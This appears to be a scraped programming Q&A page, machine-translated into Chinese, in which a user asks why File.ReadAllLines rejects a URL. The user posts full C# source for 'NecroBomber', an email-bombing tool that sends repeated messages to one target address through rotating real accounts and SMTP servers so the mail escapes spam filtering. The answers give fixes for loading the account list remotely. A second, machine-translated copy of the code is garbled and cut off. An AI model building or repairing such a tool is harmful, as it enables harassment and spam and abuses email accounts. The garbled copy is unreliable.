C# 不支持URI格式

C# 不支持URI格式,c#,vb.net,c#-4.0,visual-c++,C#,Vb.net,C# 4.0,Visual C++,我基本上是使用Microsoft Visual Studio在C#中创建一个群发电子邮件发送者,其想法是它通过SMTP使用真实的电子邮件帐户来发送电子邮件,因此它们不会被标记为垃圾邮件,但我不断收到错误: URI formats are not supported. 基本上,下面的代码从我的网站检索电子邮件帐户列表,但抛出上面的错误 String[] saUsernames = File.ReadAllLines(@"http://mywebsite.com/test/accounts.tx

我基本上是使用Microsoft Visual Studio在C#中创建一个群发电子邮件发送者,其想法是它通过SMTP使用真实的电子邮件帐户来发送电子邮件,因此它们不会被标记为垃圾邮件,但我不断收到错误:

URI formats are not supported. 
基本上,下面的代码从我的网站检索电子邮件帐户列表,但抛出上面的错误

String[] saUsernames = File.ReadAllLines(@"http://mywebsite.com/test/accounts.txt");
我已经尝试在本地加载文件,但效果很好,所以我无法找出问题所在,有人有任何想法,因为我非常困惑

编辑:这是整个脚本,因为可能是其他原因导致了错误,我删除了一些指向我网站的链接,等等,因为这是一个正在开发的项目,我不想透露太多线索

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using System.Threading;
using System.IO;

namespace NecroBomber
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        int iTimeOutValue = 100;
        int iSentAmount = 0;
        SmtpClient client = new SmtpClient();
        MailMessage mail = new MailMessage();
        String[] saUsernames = File.ReadAllLines(@"http://example.com/accounts.txt");
        WebClient wcUpdates = new WebClient();
        string sMasterPassword = "testpassword";
        string sLastUsername = "";
        int iTimeOutWebRequest = 0;

        private void btnClick(object sender, EventArgs e)
        {
            Button btnCurrent = ((Button)sender);
            if (btnCurrent.Tag.ToString() == "SendMail")
            {
                prbSentStatus.Maximum = ((int)nudAmount.Value * saUsernames.Length);
                Thread tStart = new Thread(SendMail);
                tStart.Start();
            }
            else if (btnCurrent.Tag.ToString() == "AddAccount")
            {
                AddNewAccount();
            }
            else if (btnCurrent.Tag.ToString() == "Update")
            {
                try
                {
                    if (wcUpdates.DownloadString(@"http://example.com/version.txt") != "1.0.0")
                    {
                        if (dlgSaveUpdate.ShowDialog() == DialogResult.OK)
                        {
                            wcUpdates.DownloadFile(@"http://example.com/new.exe", dlgSaveUpdate.FileName);
                        }
                    }
                    else
                    {
                        MessageBox.Show("Your version is up to date!", "Information!");
                    }
                }
                catch
                {

                }
            }
        }

        private void SendMail()
        {
            int iToSend = Convert.ToInt32(nudAmount.Value);
            for (int i = 0; i < saUsernames.Length; i++)
            {
                GrabMailDetails(i);
                client.Credentials = new NetworkCredential(saUsernames[i], sMasterPassword);
                if (saUsernames[i] != sLastUsername)
                {
                    if (saUsernames[i].EndsWith("@yahoo.com"))
                    {
                        client.Host = "smtp.mail.yahoo.com";
                        client.Port = 587;
                        client.EnableSsl = false;
                    }
                    else if (saUsernames[i].EndsWith("@gmail.com"))
                    {
                        client.Host = "smtp.gmail.com";
                        client.Port = 25;
                        client.EnableSsl = true;
                    }
                    else if (saUsernames[i].EndsWith("@hotmail.co.uk"))
                    {
                        client.Host = "smtp.live.com";
                        client.Port = 587;
                        client.EnableSsl = true;
                    }
                    else if (saUsernames[i].EndsWith("@outlook.com"))
                    {
                        client.Host = "smtp.live.com";
                        client.Port = 587;
                        client.EnableSsl = true;
                    } 
                    else if (saUsernames[i].EndsWith("@hotmail.com"))
                    {
                        client.Host = "smtp.live.com";
                        client.Port = 587;
                        client.EnableSsl = true;
                    }
                    else if (saUsernames[i].EndsWith("@aol.co.uk"))
                    {
                        client.Host = "smtp.aol.com";
                        client.Port = 587;
                        client.EnableSsl = true;
                    } 
                    else if (saUsernames[i].EndsWith("@aol.com"))
                    {
                        client.Host = "smtp.aol.com";
                        client.Port = 587;
                        client.EnableSsl = true;
                    }
                }
                else
                {

                }
                sLastUsername = saUsernames[i];

                for (int x = 0; x < iToSend; x++)
                {
                    try
                    {
                        client.Send(mail);
                        iSentAmount++;
                    }
                    catch
                    {
                        MessageBox.Show("Maximum emails today sent from this SMTP server has been reached.\nAccount name: " + sLastUsername, "Error!");
                        goto JMP;
                    }
                }
                JMP: ;
            }

        }

        private void GrabMailDetails(int count)
        {
            try
            {
                mail = new MailMessage();
                mail.Body = tbBody.Text;
                mail.Subject = tbSubject.Text;
                mail.From = new MailAddress(saUsernames[count]);
                mail.To.Add(tbTarget.Text);
                {
                                }
                if (rbHigh.Checked)
                {
                    mail.Priority = MailPriority.High;
                }
                else if (rbLow.Checked)
                {
                    mail.Priority = MailPriority.Low;
                }
                else if (rbNorm.Checked)
                {
                    mail.Priority = MailPriority.Normal;
                }
            }
            catch
            {

            }
        }

        private void AddNewAccount()
        {
            String[] saCurrentAccounts = File.ReadAllLines(@"Accounts.txt");
            string sAddNewAccount = "";
            for (int i = 0; i < saCurrentAccounts.Length; i++)
            {
                sAddNewAccount += saCurrentAccounts[i] + Environment.NewLine;
            }

        }

        private void timeUpdate_Tick(object sender, EventArgs e)
        {
            prbSentStatus.Value = iSentAmount;
            lblEmailSentCount.Text = "Emails Sent: " + iSentAmount;
            iTimeOutWebRequest++;
            if (iTimeOutWebRequest == iTimeOutValue)
            {

            }
        }


        private void Form1_Load(object sender, EventArgs e)
        {
            timeUpdate.Start();
            lblMultiple.Text = "x " + saUsernames.Length;
            this.Text = "test - " + Environment.UserName;
      }

        private void pictureBox1_Click(object sender, EventArgs e)
        {

        }

        private void button2_Click(object sender, EventArgs e)
        {
          if (wcUpdates.DownloadString(@"update.com/version") != "1.0.0")
                    {
                        if (dlgSaveUpdate.ShowDialog() == DialogResult.OK)
                        {
                            MessageBox.Show("Updating LulzBomber. Please wait a few minutes", "Information!");
                            wcUpdates.DownloadFile(@"update.com/version", dlgSaveUpdate.FileName);
                        }
                    }
                    else
                    {
                        MessageBox.Show("Your version is up to date!", "Information!");
                    }
             }

        private void button3_Click(object sender, EventArgs e)
        {
            MessageBox.Show("Created by ***", "About");
        }

      }
    }
使用系统;
使用System.Collections.Generic;
使用系统组件模型;
使用系统数据;
使用系统图;
使用System.Linq;
使用系统文本;
使用System.Windows.Forms;
Net系统;
使用System.Net.Mail;
使用系统线程;
使用System.IO;
名称空间轰炸机
{
公共部分类Form1:Form
{
公共表格1()
{
初始化组件();
}
int iTimeOutValue=100;
int iSentAmount=0;
SmtpClient=新的SmtpClient();
MailMessage mail=新的MailMessage();
字符串[]saUsernames=File.ReadAllLines(@)http://example.com/accounts.txt");
WebClient wcUpdates=新的WebClient();
字符串sMasterPassword=“testpassword”;
字符串sLastUsername=“”;
int-iTimeOutWebRequest=0;
私有void btnClick(对象发送方,事件参数e)
{
按钮BTN电流=((按钮)发送器);
if(btnCurrent.Tag.ToString()=“SendMail”)
{
prbSentStatus.Maximum=((int)nudAmount.Value*saUsernames.Length);
Thread tStart=新线程(SendMail);
tStart.Start();
}
else if(btnCurrent.Tag.ToString()=“AddAccount”)
{
AddNewAccount();
}
else if(btnCurrent.Tag.ToString()=“更新”)
{
尝试
{
如果(wcUpdates.DownloadString)(@)http://example.com/version.txt") != "1.0.0")
{
如果(dlgSaveUpdate.ShowDialog()==DialogResult.OK)
{
wcUpdates.DownloadFile(@)http://example.com/new.exe,dlgSaveUpdate.FileName);
}
}
其他的
{
Show(“您的版本是最新的!”,“信息!”);
}
}
抓住
{
}
}
}
私有void SendMail()
{
int iToSend=Convert.ToInt32(numount.Value);
for(int i=0;istring path = @"http://mywebsite.com/test/accounts.txt";
String[] saUsernames = File.ReadAllLines(path);
string content;
using (WebClient client = new WebClient())
{
    content = client.DownloadString("http://example.com/accounts.txt");
}
    @"file://c:\folder\account.txt"